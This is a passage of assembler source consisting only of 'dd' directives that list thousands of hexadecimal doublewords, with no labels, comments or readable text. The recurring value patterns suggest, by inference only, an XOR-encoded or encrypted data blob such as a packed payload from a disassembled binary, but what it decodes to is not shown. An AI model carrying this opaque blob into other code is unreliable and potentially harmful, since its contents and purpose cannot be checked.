5488FEEFh, 0CF6C5A4Eh, 0B61A8F78h, 3215670Ch dd 3DFD5AE8h, 3214270Ch, 38AD0644h, 0DB0C2C07h, 3215661Fh dd 0AFD49523h, 3B7E60D1h, 9D13775Ch, 0E74FE46h, 62916987h dd 0DB156644h, 32156629h dd 0B5FE089Ch, 2AE405DBh, 0E500CA0h, 969169EFh, 3D156610h dd 32156A00h, 34936944h, 3D156622h, 3215669Fh, 0D9299388h dd 33AEE24Bh, 0BE1A6622h, 32156610h, 35FC0771h, 0AF156644h dd 0BECF589Ah, 52D60903h, 3DEBEDEEh, 6074AEF3h, 3214DF73h dd 0F89C6611h, 0B8E767D1h, 38FC3C5Eh, 39156622h, 0AB26A6CCh dd 4C3FB286h, 6EA33488h, 0CC33A0A2h, 15A536DFh, 0F2138648h dd 0FAEB65A4h, 0F43D3C0Eh, 26D3E649h, 0DB4F95A8h, 32156654h dd 3889FAECh, 83470873h, 260C598h, 97278037h, 3D959DA2h dd 0CDEAF694h, 3E946977h, 3D156644h, 321560A8h, 32916911h dd 63156688h, 0F99C97CDh, 0B3316AA9h, 321562D5h, 35A10688h dd 490C0E25h, 269C6622h, 3213DC35h, 0E1146688h, 32108F1Eh dd 13F36622h, 6213C1C5h, 32156430h, 60E56744h, 32156698h dd 31D76711h, 0C74D3C92h, 3215FAADh, 44EA9A22h, 1609ED10h dd 0CE11A20Bh, 3DEE9DC7h, 32159FA6h, 52740611h, 0B8B9A308h dd 0DE9607B7h, 1621EF26h, 8A73064Ah, 0D494D2D3h, 6270716Fh dd 369D6943h, 52156611h, 6274A003h, 321567FCh, 6D456322h dd 0C2146F7Ah, 594A36A5h, 6A0D654Dh, 34FD06DBh, 5D156611h dd 0EE874C08h, 32048F0Fh, 0B5856622h, 0A94B616Fh, 178AE81Ch dd 0A0E7A191h, 6A7F1556h, 5A74BF9Ah, 32156BF9h, 8C3152CDh dd 32156627h, 0DB4B9510h, 32156682h, 75B2ADE5h, 2F707A64h dd 0B41AEE91h, 32156689h, 0CC828FBDh, 527599DDh, 32156FF8h dd 0C0680688h, 7A674CA4h, 851A46C2h, 8B7307C0h, 3D74B73Ch dd 0C71438F2h, 321576CBh, 5872B611h, 0DB5573EEh, 9AB080A8h dd 0DD44D892h, 1CFEE510h, 0CC4EE287h, 547599BBh, 3D8B6F9Ch dd 0DB74BCA6h, 321566AAh, 336BE6B1h, 709069DCh, 3DEA99EFh dd 3215770Fh, 32198F44h, 8BAA6622h, 0A190C857h, 0B1FAA59Eh dd 0D9FC4C3Dh, 0CBEA99DEh, 0B3F0EF44h, 3215624Dh, 36F8E744h dd 0B5156622h, 0BB49423Dh, 34FC42BCh, 0F156644h, 5C9F35E2h dd 0D49C30FBh, 3211A009h, 0DC946644h, 32156626h, 6E315296h dd 52316A01h, 3213E64Bh, 0E8946622h, 4A5C04Ah, 5196E537h dd 0BB420775h, 36D2E7C5h, 0B3156611h, 32156267h, 1629E144h dd 1609EF7Eh, 321561F8h, 75003188h, 0E5056300h, 0B3F3EF74h dd 321562D7h, 36FBE588h, 6E3152C3h, 3D315AABh, 32156B9Ah dd 321D8F88h, 8C9F6644h, 6CF2FBA9h, 22FC6FEAh, 7E156688h dd 5F8849Eh, 0F6B7C670h, 0EBA782B1h, 3EDEBC8h, 0CEB99E84h dd 0F59D3573h, 0BA4E9F99h, 60753F43h, 3215E84Bh, 0B34E6622h dd 9A36A9CFh, 0DE9607D0h, 1611EF40h, 0F1359692h, 0C9959E49h dd 819169F8h, 52156641h, 32156CCAh, 0E67F6B11h, 0F2E8E25Eh dd 88580B57h, 42BDA840h, 3D290749h, 32E4E287h, 3D756644h dd 321567AEh, 851A9A11h, 0DB290773h, 396BE24Bh, 39FC6622h dd 52156611h, 0D5A6727h, 0A25EFD17h, 0D92979CEh, 229DE21Eh dd 3DED6688h, 321560CCh, 69440622h, 0E740771h, 8691696Bh dd 3D156647h, 321567A5h, 22FC9A11h, 0DE156688h, 0ADF4302Ch dd 6520457Ch, 28F5648Fh, 0E874D40h, 0C49169A6h, 3D156633h dd 32156798h, 0E9E9388h, 0D59C3160h, 3211A1A3h, 0F5966611h dd 1629E18Ch, 32058F18h, 0CFD6622h, 54843A1Bh, 81BCBE8Ah dd 8C6BEA22h, 39FCA0B5h, 3E156611h, 47EEFC14h, 0F6E4E5Ch dd 2E9EFE90h, 0D79C3335h, 3211A309h, 0F7946644h, 32156626h dd 6E314A96h, 1619ED74h, 0B3F2EF13h, 321562E5h, 36D2E711h dd 0B5156688h, 3D494278h, 321567A4h, 69E9E11h, 0D29C36ACh dd 32156241h, 36D5E522h, 6E316296h, 0F8AA69E8h, 0F5ECA525h dd 29B396A7h, 32156017h, 8A459A88h, 32156644h, 2A9F9623h dd 0B131629Ah, 3DE9624Ch, 32156CC0h, 0B51A0622h, 32156611h dd 637407E8h, 0F39545F5h, 85460047h, 54EC5669h, 6BDE46D3h dd 32156DADh, 9F536022h, 0D929DE2Ah, 5A68C065h, 3D959DC4h dd 0CDEA43A7h, 339369EEh, 0CB156688h, 0B6CAE624h, 32156ECAh dd 0C863E911h, 261BBF10h, 0C9AA69A5h, 8B44077Ah, 32156610h dd 0DB4CA8A1h, 32156656h, 0F7E609E8h, 0E98AA27Eh, 0C4F5E807h dd 166049AFh, 0B79EBCCDh, 34014848h, 32156061h, 530E4944h dd 0CAEF58FAh, 1870F39Ah, 8A75609Ch, 3A99F7F8h, 0A125C9Ch dd 52750744h, 0CF7E7EEh, 0BBCCE7EBh, 534EB24Dh, 7DBE777h dd 0BB470798h, 0E49C30B6h, 684B95ABh, 3214EE1Eh, 63EC6688h dd 321560FDh, 0C9D6E722h, 332E8D06h, 0C9FEE743h, 6B2E8D53h dd 34FC0642h, 0D8156611h, 0D2345CA7h, 3CFC0707h, 7E156622h dd 98A7C181h, 1E268373h, 9C3D3FAh, 644707A9h, 321564AFh dd 6CE7EF88h, 28169445h, 0EA2E9378h, 3208E41Eh, 3DFC6688h dd 77156644h, 0FCD4343Ch, 9D011ACBh, 9ACBC2FDh, 0E82EBF87h dd 0CC21E02Dh, 0B3ED99EEh, 152F604Bh, 31FEE717h, 1B4E5632h dd 31D6E7EAh, 0B34E5698h, 152F60AFh, 82759E71h, 0CCAA698Bh dd 34A833E9h, 0B3156644h, 0C86411E1h, 0B3FE4F25h, 0C8641163h dd 0DA753B70h, 32156630h, 3FFCB53Fh, 4BEB255Eh, 0C2BA4F5Bh dd 0CD0C7204h, 0E7959B72h, 54743C37h, 259969E9h, 52156622h dd 0DB3BBE91h, 32156685h, 4337229Ah, 6C5ADC5Dh, 0BEE6EE42h dd 9973075Dh, 0E9F4E624h, 0E5A26942h, 5374B19Ah, 369E35D8h dd 36D1E760h, 69156622h, 0ECAA6971h, 32128FDEh, 10EA6644h dd 276D6D88h, 52743973h, 538EA908h, 3FFC06EFh, 0E8156622h dd 2E4820A7h, 0F61ACE42h, 599A187Bh, 32156CCAh, 0EC9ACD11h dd 3DE33AA9h, 0DB5A6806h, 32156636h, 0F56CF0FAh, 0ED8E912Eh dd 56E86605h, 5F39BE6Dh, 0BC52F9F1h, 0DE9407D3h, 32156640h dd 8A3162ABh, 32156615h, 524DA089h, 73AAEDF5h, 535D37BBh dd 0DB315A98h, 32156698h, 0F2637360h, 24E25D30h, 0FEE1E24Eh dd 9375DE87h, 3E3112CDh, 5BA0EFD7h, 0DB137234h, 32156685h dd 0A964604Fh, 0B75DABA3h, 769B0D9Ch, 162199DAh, 36D1E71Bh dd 0DB156622h, 32156616h, 0ED8B6C98h, 0CD65FBAEh, 0B34E4216h dd 321562D5h, 0C99E0688h, 1619ED25h, 0B3F6EF71h, 321562D2h dd 36D6E588h, 6E317AC3h, 32156ECBh, 0A5275E11h, 0EF13B9A2h dd 162199E9h, 36D1E77Ch, 0DB156611h, 3215669Ah, 171F1723h dd 0BAB21070h, 5BAAE126h, 9104632Fh, 0BB45B700h, 321163C2h dd 88476611h, 3215668Ch, 0B54FB645h, 52494226h, 598532AEh dd 0C29E00C4h, 0EDEA8F25h, 0F5E999DDh, 29B39694h, 3215648Eh dd 321B8F44h, 0FF556622h, 87A50380h, 28D548A0h, 71A08B6Ch dd 0E9AA3174h, 330D454Bh, 6D1142F4h, 0E9FEE71Fh, 0C70D4578h dd 521BD01Eh, 32157561h, 9F489744h, 0A85785E2h, 348FCF70h dd 54A7CDAAh, 0A7E13DE9h, 69740672h, 0B2ECE670h, 3256E587h dd 0B9756644h, 0F0AA69E3h, 0A83370h, 330FD584h, 0F9143BAFh dd 3E278DA3h, 3AFC7CA2h, 0AA156688h, 295D35Ch, 60B85536h dd 0CDEA99ABh, 68C64F77h, 359669BCh, 3D156622h, 32156792h dd 47FC9F88h, 52156644h, 61450043h, 0E5E345A6h, 0C4178148h dd 37FAA693h, 0B263A1A2h, 0CA9D1DFEh, 54D44ED3h, 32078F1Ch dd 0ECE36622h, 128D6D9Bh, 0FC3F22AEh, 4F486769h, 8ECA868Fh dd 0FF248F20h, 0EFE28FB9h, 0CBE08FC3h, 324B694Ah, 1621EF11h dd 32159936h, 6CE44744h, 6AE93442h, 8B4407E4h, 50A651A5h dd 5DA697C5h, 0F93C2B96h dd 0B3DE4F48h, 354DF84Bh, 3397696Bh, 0CB156622h, 1C4CE39Ah dd 38FC609Ch, 0C156644h, 177D570Fh, 2F896399h, 5780ED39h dd 0DB13726Eh, 3215662Ch, 0BDE496E1h, 0CEA1EBCCh, 0F12F27DDh dd 8F967411h, 340176A0h, 0EF916989h, 0DB156640h, 32156629h dd 26030C66h, 0C427B781h, 0B63F651h, 0F79769E1h, 3D156615h dd 3215610Fh, 33986944h, 0C7156622h, 0B01AB528h, 0CDEA9C76h dd 32156DADh, 3EA3C622h, 47EEFC8Dh, 0F6E4E90h, 3211FDADh dd 399C6922h, 0DB156611h, 3215668Eh, 49095A7Fh, 0B7D23993h dd 340EC0E1h, 3215668Ah, 30966924h, 52156622h, 3FE7E770h dd 5352E6F6h, 1621E712h, 116668E7h, 0EFAF344Ah, 0F32C87F5h dd 705765A6h, 323084A3h, 0C0947E48h, 76187077h, 0C5F3A4C5h dd 0E124B14Ch, 3395694Bh, 0CA156688h, 0CB1BD04Bh, 3D959FA2h dd 32150592h, 321E8F88h, 46926644h, 0A18D82F4h, 868F21AAh dd 2ED6E79Bh, 0B37C9E24h, 0B50BC4C9h, 0B3DE6738h, 0B50BC44Bh dd 2EFEE76Dh, 0DB7C9E42h, 32156605h, 9D42AA94h, 0CF6ACCDAh dd 5251FFBh, 8D2A6D2Eh, 0ED7CE119h, 32370B2Ch, 1609EF22h dd 693162EEh, 0B1AA067Dh, 53185335h, 32146DCBh, 0E39E0611h dd 53E3D987h, 0CDA73422h, 0B973B70Ah, 0F6944205h, 3215668Ah dd 32156DADh, 8A43C722h, 2D1C4C80h, 2A169971h, 0B3733024h dd 6B7E93D2h, 32156BF8h, 0B915D988h, 6B188C2Bh, 0FFAA6D9Dh dd 5A748937h, 32156688h, 0C7314AC5h, 1B406E01h, 3694421Dh dd 3A3693ACh, 0B11A3F11h, 3215662Ah, 0F0940071h, 53E0C3FEh dd 0C4AC3717h, 0B31B351Dh, 0A37725E0h, 0DBD4E7E6h, 0E3568855h dd 60F4E7CBh, 0B35ECD62h, 0AC5B6A79h, 6BDEEF67h, 7CFEE769h dd 1374F06Dh, 0DB753D51h, 32156650h, 0BD32FCA2h, 0A7CE5B0Bh dd 602753BCh, 0DBA43B69h, 0B8A72141h, 321574F8h, 0A85F7A88h dd 0F9297E9Dh, 0A2C2EF12h, 44545B09h, 534CE6DCh, 22298DC5h dd 0F93C6A1Eh, 6D65DE41h, 831818D7h, 7A1ADA76h, 0F31D8EE3h dd 721064F1h, 331F5A9Ah, 3AFC3E87h, 56156622h, 9A3106C4h dd 3D56CD91h, 321569C5h, 321F8F22h, 8FF06611h, 9FA83C96h dd 0A3CC0364h, 1C4CE3A9h, 3D756005h, 3215740Dh, 32188F44h dd 6AE06622h, 0AA043E52h, 0AB5583BEh, 3DFFF909h, 321565AAh dd 0E9A26911h, 5780EDE9h, 3D13726Eh, 321577ADh, 39956911h dd 0DB156688h, 32156642h, 0C3FEF642h, 8F9607A1h, 34017639h dd 4B916945h, 0DB156620h, 32156605h, 5333C1BCh, 3E40BDB9h dd 87E99667h, 0E4F192CDh, 375F2F9Ch, 8B739A24h, 9744992h dd 49769C9h, 3D156688h, 32156ECAh, 30926922h, 52156611h dd 3DC65FE9h, 0CDEDEFC2h, 321B8FDDh, 0B4C86611h, 38D5D899h dd 427FE7EAh, 0F2596F5Bh, 3212E71Eh, 0B81A6688h, 32156645h dd 0CDAE35D7h, 33EA99EEh, 0B91A3D56h, 32156648h, 3213E22Dh dd 0B31A6611h, 32156688h, 0DAD506F4h, 1EE16A21h, 0C2A3344Bh dd 0C495B07Eh, 68E56605h, 35FC9916h, 0CD156611h, 0E4DB630Ah dd 52BF478Ah, 53C3EDDEh, 321574F8h, 97D6B288h, 89140527h dd 2790462Fh, 0D0B046FCh, 0B15152F6h, 2E9C62A8h, 3215DD06h dd 0C1146611h, 3D4E6D02h, 32156FC5h, 6D450622h, 17FCE777h dd 62460782h, 0DED544F0h, 0B2D99827h, 0D19DE6FDh, 69CDEED0h dd 9CA734B1h, 0B23884A2h, 814678DBh, 0F2CE90F6h, 0E9E364A7h dd 0B28F95A2h, 0E815F7FAh, 68C446D3h, 3219E84Bh, 0BA1A6622h dd 32156617h, 3215EA87h, 0FA1D6644h, 3DFCCCDEh, 6A156611h dd 0B605DAC6h, 0DC2A5243h, 0BC23C519h, 0F1944678h, 585F1091h dd 8F409D6Dh, 585F103Bh, 3D488D38h, 32157705h, 38FC0644h dd 0E1156622h, 0D84B92DFh, 50CEF29Eh, 197D0791h, 0BB156662h dd 36AD4215h, 1B156688h, 3E93E87h, 3D657FAh, 32058FC9h dd 0E1AF6688h, 0F624D7B1h, 6F8BFECBh, 29D0B135h, 0DBBE5CCFh dd 32156648h, 0B08E7A7Eh, 0AE811798h, 860ED20Ah, 3217DF15h dd 0DC946622h, 3DD44181h, 0F494A889h, 3DD441D4h, 0B81A067Bh dd 32156610h, 879C0770h, 3401432Dh, 31966942h, 54156611h dd 0F5749503h, 2605D7C1h, 32156724h, 0BB439F11h, 36AA316Eh dd 33156644h, 0F49639DCh, 1621E115h, 26FC06D4h, 36156644h dd 0CBB6D2C8h, 0E109722Ah, 707337FFh, 3D070A7Bh, 53CCDB0Ch dd 32156CF8h, 0F7DA8F88h, 5A541107h, 0CDD55D77h, 0B14E4225h dd 0CDEC624Ch, 0B14C4270h, 0CE7562E6h, 53E5ED77h, 0B34F32DAh dd 32156286h, 36D7E522h, 6E317296h, 3206E587h, 3CFC6644h dd 0FB156622h, 6504B7B7h, 0B31FD392h, 0FCA8EAh, 0D39C375Ch dd 3211A790h, 0F3966688h, 16195540h, 1316A13h, 0CA49421Dh dd 0CDCC8261h, 0D39F06BBh, 3210E42Dh, 85AC6611h, 5337BF08h dd 0CDEADF15h, 0FC1499DDh, 0E3950648h, 834407FDh, 0B9DDEEADh dd 0F696422Eh, 26966915h, 0DB156688h, 3215664Bh, 0FA25424Ah dd 0D48CBD50h, 0DEFC140h, 986E54D0h, 0BA1A9E42h, 32156613h dd 6474B903h, 0B33162CFh, 321562E6h, 88479311h, 53331D4Eh dd 1B4FB66Dh, 49D363DAh, 38FC0737h, 0CB156688h, 0B96D17E1h dd 0B85EA325h, 36A83307h, 1F156688h, 3EC37495h, 0E3108E0Bh dd 6F19B003h, 32156F61h, 0FAE3A944h, 0F90E2FF5h, 0BB1A4E70h dd 32156689h, 0B11ACDBDh, 32156625h, 3214EB1Eh, 65E96688h dd 0F59481CDh, 32156626h, 0B511A192h, 169E42B4h, 0E8940660h dd 3AF4695Eh, 3213E71Eh, 0E1946688h, 706C378Eh, 1609ED43h dd 0B3F2EF46h, 3215624Fh, 36D2E544h, 6E315AA5h, 1619EDE4h dd 0B3F7EFDAh, 32156286h, 36D7E722h, 0B5156611h, 0DB49429Ch dd 3215664Eh, 79949728h, 1B1C5AE7h, 3AFCF8E9h, 0D2156644h dd 0C8ADFF47h, 0CD810E5Bh, 0B34B42BCh, 32156280h, 32048F22h dd 85856611h, 6A5F2CE4h, 0E147566Ah, 4118520Fh, 622660BCh dd 36108601h, 67156644h, 3215629Fh, 6FFD6711h, 6E31620Fh dd 3218E14Bh, 3AFC6622h, 5A156611h, 0B67F7B7Fh, 0DBA6B8D5h dd 0CDEABD4Eh, 26FC9F71h, 4D156688h, 0F48B152Ch, 0E10E9786h dd 9B35E755h, 0E6FC3E63h, 5398D3EBh, 94E5E3E5h, 3210600Ah dd 23FC6688h, 0B4156644h, 0AF2B6310h, 0F8EE076Dh, 850FEF55h dd 5887A6B2h, 0BBE5EF72h, 1611EDD2h, 3211A209h, 0BF1A6644h dd 3215662Ah, 3217E71Eh, 53756688h, 321D8F24h, 9CE96622h dd 4A906332h, 50AE2E77h, 5360EBECh, 3211D975h, 0C9146611h dd 0B3315A03h, 32156280h, 0DE9F0622h, 6374A9A4h, 32156631h dd 31E46744h, 1619ED3Bh, 0DB11A292h, 32156683h, 14D70F14h dd 6F2728B4h, 523F4FC1h, 3DD6E7EEh, 321D8F21h, 44816622h dd 619AB0B0h, 0B974EB23h, 263B3FC1h, 32048F24h, 0D2CB6611h dd 0D19D85EEh, 1EBB294Eh, 0FBB7C949h, 0B9C4C0D8h, 263F031Dh dd 8B449A42h, 0CDEA99DDh, 3D4CA810h, 32157007h, 3BFD0644h dd 0B4156622h, 90DB3F6Bh, 2720CFBAh, 50A6DE1Ah, 0B1747D19h dd 260AE7ACh, 0B61A678Eh, 321561D7h, 321B8E42h, 3F2A6611h dd 4C1A84D4h, 0F3366C9Bh, 6AD59A8Fh, 321572F8h, 0E1D87C88h dd 9BE39872h, 0E0647933h, 0C4A16909h, 9A75CFDFh, 0B01A38A1h dd 32156620h, 9743947h, 73976950h, 52156644h, 3206E92Dh dd 3FFD6611h, 1D156688h, 9269408Ch, 1949028Eh, 0ADCADF87h dd 0DCA734D1h, 0E82E071Bh, 336AE02Dh, 0B51A6611h, 3215669Ch dd 321BEE4Bh, 3BFC6622h dd 0E5156611h, 0EE1Dh, 893E09B6h, 177CD3ABh, 0BD1A6005h dd 32156683h, 321560ADh, 4F260222h, 0B9BF3742h, 29B39615h dd 2A986942h, 0DB156622h, 32156602h, 3BE8C9C4h, 0F7DB146Ch dd 0C51BDC7Eh, 2C380BE2h, 0CA485A82h, 3E310AC5h, 605F506Eh dd 3E313A10h, 459D9DFh, 4E14340Eh, 524A7606h, 53D48F91h dd 34A08F74h, 0BD1A6644h, 3215662Ah, 0E0940071h, 53EC736Fh dd 65315ACFh, 0F59481ABh, 32156615h, 0B511A10Bh, 3D494278h dd 321561A7h, 339D6911h, 0CA156688h, 2D94E383h, 32146036h dd 3DE96611h, 32156D07h, 0B9730644h, 329B69F8h, 53156611h dd 61317A03h, 0F19485CDh, 32156626h, 3211A590h, 2E926688h dd 0B01A3A60h, 32156623h, 1619EDE4h, 0B3F2EFDFh, 32156283h dd 36D2E722h, 0B5156611h, 0DB4942B4h, 32156641h, 66DE66DDh dd 1621ED56h, 0B3F6EFDBh, 32156287h, 36D6E522h, 6E317A96h dd 32198FE8h, 79726644h, 4BBF2ECEh, 33865832h, 0E09410C3h dd 0CD58A0h, 0D59C3143h, 3211A190h, 0F5966688h, 46EA3140h dd 0BD4A6206h, 3D494215h, 32157A0Dh, 249B6944h, 0DB156622h dd 32156600h, 0D43F6AECh, 58CEFADFh, 6A084B30h, 0E4840CAh dd 0E7B68FD6h, 0B71A99BBh, 32156633h, 32156AF8h, 409EF88h dd 8A97DED5h, 0A29F133Fh, 83A8E504h, 33137298h, 37B4E24Bh dd 19EC6622h, 263B3F8Ch, 8C73068Eh, 38FD5AEFh, 0A7156622h dd 3786440Fh, 0CB830D3Dh, 0A9D6E6B4h, 0BF9E077Ch, 34017780h dd 32108FE8h, 0DC886644h, 60FF74CBh, 3215EE1Eh, 534E6688h dd 2D3F8FC5h, 0F39449F0h, 3DF5772Dh, 0DB94BF89h, 3DF57778h dd 2D3FA7A3h, 0B91A49C3h, 32156689h, 23FD06BDh, 9C156622h dd 18FCB052h, 902A3E39h, 6805B47Dh, 843D4B5Dh, 39319490h dd 824A5233h, 0F3940746h, 6AB40987h, 35DEA790h, 0CB3C0EF5h dd 35DE8FC5h, 0DB940E5Fh, 6AB409B4h, 3F490E71h, 369C6644h dd 3210DE06h, 0F33C6611h, 80479AD0h, 0E79D37ADh, 684C8EAAh dd 321575F8h, 0CFBEC588h, 9D264869h, 332E1278h, 304C6032h dd 0CB6E4289h, 321B8FEEh, 1DB96622h, 80EA847Dh, 129ACBDAh dd 93A79AF3h, 0B94D3772h, 0F696421Dh, 3BFC068Ch, 49156644h dd 0CB9B20BBh, 36508E29h, 0C6E5E7EEh, 3DBE07E2h, 321567AAh dd 0BB449E11h, 36D4E769h, 0B1156644h, 3E2662E3h, 16195735h dd 6E316ABBh, 3213EF4Bh, 3D756622h, 53E9BCA6h, 3218E687h dd 0B3756644h, 0F189D1FCh, 0C460D82Dh, 0B974544Dh, 0BB454258h dd 321163C2h, 0F2966611h, 1611E18Ch, 33996918h, 0CE156622h dd 0DFE7E771h, 0B95C7047h, 3E9E0792h, 0D59C3106h, 3211A190h dd 0F5946688h, 32156640h, 6E315AA5h, 3FFD9E71h, 73156688h dd 904D78CFh, 9C32B56Eh, 80F47585h, 3215E887h, 534A6644h dd 633152A9h, 0F3948798h, 3215668Ch, 3211A7C5h, 3E926622h dd 0DB753A35h, 3215668Fh, 2A4CAA7Ah, 0DBFBDC9Eh, 3215661Bh dd 0EAC2E74Dh, 4AFB4CA0h, 3D74893Ch, 32157E96h, 32068F88h dd 0C2DA6644h, 0D8EF3E24h, 17E14D7Bh, 963C9494h, 1CF28B96h dd 0D79C3307h, 3211A390h, 0F7966688h, 46EA3340h, 0BD486206h dd 3D494215h, 3215770Fh, 32198F44h, 0EB2F6622h, 51FA4569h dd 2E0562A5h, 0BF1AEE4Bh, 32156625h, 3214E51Eh, 0DBEC6688h dd 0CDEAB014h, 3209ED2Dh, 0B21A6611h, 3215669Eh, 321577ADh dd 93944122h, 0B182F7FEh, 90DA56E9h, 7306926Dh, 0B7D298CEh dd 340EC0E1h, 3215668Ah, 3214E54Bh, 3DE96622h, 32157E9Ah dd 32068F88h, 0FF096644h, 0AA8F4597h, 4422C768h, 0AF2F253Ah dd 4D3B4704h, 2E9E3073h, 36D1E535h, 3203E587h, 0BD1A6644h dd 32156632h, 32156DF8h, 82654D88h, 85259F12h, 6C28C92Eh dd 0CA1BD01Eh, 3219EB87h, 0B51A6644h, 32156624h, 3215E61Eh dd 0CB956688h, 7B9669C4h, 0CE156622h, 4D46DB44h, 0C7946EF7h dd 64D2102Ah, 0B31D8BE3h, 0FEBC41E4h, 6FFE67DDh, 0D994AD45h dd 6787770Ch, 32156CF8h, 0A1F0FD88h, 4D574032h, 60D09F27h dd 321567ABh, 68C66788h, 32DE8FBDh, 64756622h, 6D47064Eh dd 53743FD9h, 0F2E7D517h, 0D99565C1h, 0B2D698CBh, 0EB3D2E7Bh dd 0B1317ACFh, 23FC62E6h, 0E3156611h, 99DF5797h, 7E10DE1Eh dd 8051089Eh, 0F81F72E8h, 32157661h, 73C9F644h, 0E0FFD4C5h dd 0FAFCB2F2h, 47501DD8h, 32150E86h, 3E3C6622h, 1619ED35h dd 3D11A20Bh, 32157FC8h, 32018F22h, 520C6611h, 50042470h dd 0D1119027h, 285DDA44h, 0CD0B2E31h, 5A405C16h, 321566BBh dd 6FFC477Fh, 321572F8h, 0C08C9988h, 0C2C7BFC0h, 5CA18101h dd 971EBBFDh, 0E0E82873h, 0E4D6E7A8h, 0B3159E01h, 876070D2h dd 0B3DE4FFCh, 876070AFh, 0E4FEE756h, 0DB159E32h, 32156699h dd 0C7B705EAh, 0F73776A8h, 0DA45D969h, 1F82CDA5h, 6B90EDD4h dd 0CE13720Ch, 1870F39Ah, 5475609Ch, 87E086FAh, 35FC07BEh dd 0DBEA99EBh, 3215668Eh, 99652ADDh, 3D7598CAh, 11A4ACA6h dd 0C290A1E9h, 30137DE2h, 0CB156622h, 0FAF3447h, 334036FBh dd 68114210h, 0FFEE779h, 3D403662h, 32156704h, 841A9F44h dd 0B973062Ch, 0AE5FDDC2h, 0B2746BA6h, 0B11AE6BDh, 32156677h dd 321568F8h, 0B6639788h, 61C00F59h, 8399E96Bh, 0B36E031Bh dd 893D194Bh, 42FEE765h, 332B7869h, 42D6E7DAh, 0B32B78C3h dd 893D19AFh, 8D429E03h, 32156610h, 0CA4A9D89h, 3215DCADh dd 20966922h, 0DB156611h, 32156685h, 0A0726EE4h, 9EAFECB5h dd 387C4E37h, 0DEA73485h, 0F895A4BAh, 32E7E67Ch, 1A7DA791h dd 5AFCE659h, 2297691Eh, 52156622h, 0DB0CAB91h, 3215668Eh dd 4334AB94h, 0C5743B9Eh, 0CDFCE5C0h, 32156B61h, 36FE3344h dd 0B45054E4h, 0A9A053D8h, 37FC580Dh, 0A6156644h, 0E89CFBEFh dd 1516D847h, 0F4941FDFh, 0D247133h, 0F6E88A3h, 0C334DE99h dd 0B3315203h, 32156280h, 24926922h, 3D156611h, 32157601h dd 321E8F44h, 10C16622h, 12989E30h, 76EA428Dh, 0AAC37B9h dd 1B3C2E72h, 0F93C3FDAh, 622DA509h, 54754F0Ch, 52E5139Ah dd 8230A391h, 0B97407E7h, 263B3FC1h, 0B71A0624h, 32156613h dd 52748A02h, 53CBEDBDh, 1870F3A9h, 0B1E06005h, 2605D735h dd 0B61A6742h, 0CDEA904Ah, 320DEC1Eh, 0B11A6688h, 32156656h dd 32156BCBh, 0B5E25411h, 2F5CE777h, 1363A98h, 0EA2EE0D0h dd 321FE41Eh, 0BED6688h, 0B5936997h, 0C7EA99CEh, 3214D946h dd 0CC3C6688h, 3D75061Bh, 321566AEh, 8C730711h, 3D74C0E3h dd 321574CEh, 3E986922h, 0DB156611h, 3215668Fh, 848AEF4Ch dd 644ECD53h, 51315290h, 0B90A3A8Bh, 0F6964248h, 51E4E726h dd 3D0A3A12h, 32156C0Bh, 54A70644h, 3215EF2Dh, 61746611h dd 0BD638C33h, 0D2E6E751h, 0E33F857Bh, 7F6E7F2h, 0B31F81B4h dd 0B5753487h, 69CC4F3Eh, 0F3949F38h, 15521AEEh, 0B31A06BDh dd 32156624h, 0D4CFB090h, 0F4A30A9Ch, 37AD3625h, 0B3156622h dd 4B6749D0h, 0B3D44FB6h, 4B6749ADh, 60E03E1Ch, 71A53CA3h dd 0E23D528Ch, 3D4F5268h, 321567AAh, 0B61A9F11h, 32156689h dd 3D75CCBDh, 321566AFh, 0D5940011h, 374553Ah, 3D4578Ch dd 2B9069EAh, 52156611h, 3215E087h, 3EFC6644h, 0B1156622h dd 21D4F700h, 0ACE2B514h, 533A44E6h, 3BFC9A89h, 0CAEA99C3h dd 32AE35DAh, 0BB156644h, 0C0143DF8h, 0DB4F649Bh, 32156686h dd 632EC2C4h, 2F4C2D80h dd 0D62BDCFDh, 0DA2988C8h, 3244E24Bh, 0BA1A6622h, 3215661Ah dd 32156061h, 61870D44h, 64966E7Eh, 5279E9AFh, 5E9ADEC3h dd 0F8382D24h, 1B308D30h, 20DF63E1h, 0DB4B4363h, 32156650h dd 3EFE7BDCh, 0E0A42292h, 0A55940D0h, 0B951EB90h, 63E712F1h dd 3214F9F8h, 0D3AF0688h, 3D18F653h, 5A74A695h, 32156351h dd 3D317A01h, 321567C5h, 0B3439F22h, 2DFE4225h, 644E08BFh dd 51313FAh, 0E0F3E710h, 0B319F076h, 0B6774146h, 70F3E72Ch dd 0F32D3945h, 0DC946EFFh, 0A3E590F3h, 0DB4B9575h, 3215662Dh dd 0AF1BE662h, 5E5FA044h, 604FE32Bh, 62C5CEE7h, 321567A9h dd 63E56788h, 321566FDh, 31D46722h, 0DB4D3F08h, 32156698h dd 7CD18DAh, 0AEE5C35Ch, 20C28D0Fh, 5A53BDB0h, 3210D812h dd 0F1946622h, 72082737h, 0D9949589h, 72082762h, 6845067Ch dd 3570DD77h, 0DAA734E9h, 269EB6CCh, 36D1E506h, 3D75CCE4h dd 32156C0Eh, 32108F44h, 0ED9E6622h, 65EF9DA0h, 6DE4EDEEh dd 0F8D6E725h, 0B37A8E59h, 0C927E8D2h, 0B3EE4FE3h, 0C927E8AFh dd 0F8FEE749h, 0DB7A8E6Ah, 32156684h, 41279A73h, 0D238414Ah dd 0E40E884Eh, 3211DCDAh, 0E13C6644h, 0B33172A9h, 321562D5h dd 61459A88h, 0B33162CFh, 321562E6h, 99E93D11h, 0B31A9FE8h dd 32156647h, 53CCED44h, 321574F8h, 36CD9188h, 0F2D12419h dd 0E520C572h, 6BD0ABBDh, 0CD89204Fh, 0B14E4270h, 67ED62E6h dd 321563ACh, 81D3E788h, 33311F65h, 81FBE7CCh, 6F311F30h dd 32157561h, 0D979E044h, 0C9D2929Fh, 2BB90531h, 0B5E8932Fh dd 0A45A04C1h, 0B71A9F42h, 32156611h, 6CAA31E9h, 0B317B125h dd 95060FC5h, 0B3C29133h, 321C7967h, 64CA9148h, 0B51F0F9Ch dd 6CE2571Fh, 0DB4A9E01h, 3215664Ch, 1C8452F3h, 0DDD8983Eh dd 39FD064Bh, 9A156644h, 0A1F3D409h, 45B0A958h, 6B42E70Bh dd 0B5D7D81Bh, 0DB741092h, 32156617h, 0F94C17BCh, 3B7D43BBh dd 0BB15667Fh, 0B31A421Dh, 32156685h, 32156EADh, 4483F822h dd 0A4F3E9D2h, 0CD739386h, 1E940072h, 545BE706h, 0B131629Ah dd 3773644Ch, 0B51A28C5h, 32156623h, 